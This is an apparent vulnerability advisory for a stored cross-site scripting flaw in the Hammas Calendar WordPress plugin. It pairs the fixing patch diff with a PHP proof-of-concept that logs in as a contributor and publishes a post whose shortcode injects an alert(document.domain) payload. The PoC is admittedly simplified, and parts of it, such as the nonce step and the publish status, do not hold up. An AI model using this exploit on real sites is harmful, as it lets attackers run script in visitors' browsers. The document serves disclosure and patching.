CVE-2026-1902: Hammas Calendar <= 1.5.11 – Authenticated (Contributor+) Stored Cross-Site Scripting via 'apix' Shortcode Attribute (hammas-calendar)

--- a/hammas-calendar/hp-calendar.php
+++ b/hammas-calendar/hp-calendar.php
@@ -3,7 +3,7 @@
  * @wordpress-plugin
  * Plugin Name:       Hammas Calendar
  * Description:       Innovaatik Ajahammas plugin for your WordPress homepage. Patients can search free slots. Then authenticate and fill personal data to finalize booking and send directly to Hammas.
- * Version:           1.5.11
+ * Version:           1.5.12
  * Author:            Innovaatik OÜ
  * Author URI:        http://www.innovaatik.ee
  * License:           GPL-2.0+
@@ -17,7 +17,7 @@

 if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly

-define('AJAHAMMAS_PLUGIN_VERSION', '1.5.11');
+define('AJAHAMMAS_PLUGIN_VERSION', '1.5.12');
 define('AJAHAMMAS_CALENDAR_SCRIPT', '/js/hp-calendar-min.js');
 define('AJAHAMMAS_CALENDAR_STYLE', '/css/hp-calendar-min.css');

@@ -34,7 +34,7 @@
 add_shortcode('hp-calendar-manage-redirect', 'HP_Calendar_manage_redirect');
 function HP_Calendar_manage_redirect($atts) {
   $url = HpPlugin::HP_Calendar_manage_url($atts);
-  $code = '<script>setTimeout(function () { document.location.replace("' . $url . '"); }, 1250);</script>';
+  $code = '<script>setTimeout(function () { document.location.replace(' . wp_json_encode($url) . '); }, 1250);</script>';
   return $code;
 }

--- a/hammas-calendar/src/HpPlugin.php
+++ b/hammas-calendar/src/HpPlugin.php
@@ -48,20 +48,20 @@

     public static function HP_Calendar_manage_url($atts)
     {
-        $apixParam = "";
-        if (isset($atts["apix"]))
+        $apix = isset($atts["apix"]) ? absint($atts["apix"]) : 0;
+        $params = [
+            "nonce" => wp_create_nonce("hp_calendar_nonce"),
+        ];
+        if ($apix > 0)
         {
-            $apixParam = sprintf("&apix=%s", $atts['apix']);
-        }
-        $apixParam .= sprintf("&nonce=%s", wp_create_nonce("hp_calendar_nonce"));
-        if (trim(get_option('hp_calendar_manage')) == "")
-        {
-            return sprintf("%s%s", admin_url('admin-ajax.php') . '?action=hp_calendar_request&request=manage', $apixParam);
-        }
-        else
-        {
-            return sprintf("%s%s", get_option('hp_calendar_manage'), $apixParam);
+            $params["apix"] = $apix;
         }
+
+        $baseUrl = trim(get_option('hp_calendar_manage')) == ""
+            ? admin_url('admin-ajax.php?action=hp_calendar_request&request=manage')
+            : get_option('hp_calendar_manage');
+
+        return add_query_arg($params, $baseUrl);
     }

     public static function HP_Calendar_registerScripts()

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1902 - Hammas Calendar <= 1.5.11 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'apix' Shortcode Attribute
<?php
// Configure target WordPress site and credentials
$target_url = 'http://target-wordpress-site.local';
$username = 'contributor_user';
$password = 'contributor_password';

// XSS payload to inject via the 'apix' shortcode attribute.
// The payload closes the string and function call, then executes alert.
$malicious_apix = '");});alert(document.domain);//';

// Step 1: Authenticate to WordPress and obtain nonce for post creation
$login_url = $target_url . '/wp-login.php';
$admin_ajax_url = $target_url . '/wp-admin/admin-ajax.php';

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $login_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => $target_url . '/wp-admin/',
        'testcookie' => 1
    ]),
    CURLOPT_COOKIEJAR => 'cookies.txt',
    CURLOPT_COOKIEFILE => 'cookies.txt',
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => true
]);
$response = curl_exec($ch);

// Step 2: Fetch a nonce for the 'post' action (required by WordPress for new posts)
curl_setopt($ch, CURLOPT_URL, $admin_ajax_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'action' => 'wp_rest',
    'route' => '/wp/v2/posts',
    '_wpnonce' => '' // This is a simplified example; a real PoC would need to extract a valid nonce from the admin page.
]));
$response = curl_exec($ch);
// In a full implementation, you would parse the admin page to get a valid nonce.
// For brevity, this PoC assumes the attacker can manually obtain a nonce.

// Step 3: Create a new post containing the malicious shortcode
$create_post_url = $target_url . '/wp-json/wp/v2/posts';
$post_data = [
    'title' => 'Test Post with XSS',
    'content' => '[hp-calendar-manage-redirect apix="' . $malicious_apix . '"]',
    'status' => 'publish'
];
curl_setopt($ch, CURLOPT_URL, $create_post_url);
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data));
$response = curl_exec($ch);
curl_close($ch);

// If successful, the post URL will be in the response JSON.
// Any user visiting that post will execute the JavaScript payload.
echo "PoC executed. Check the created post for XSS.";
?>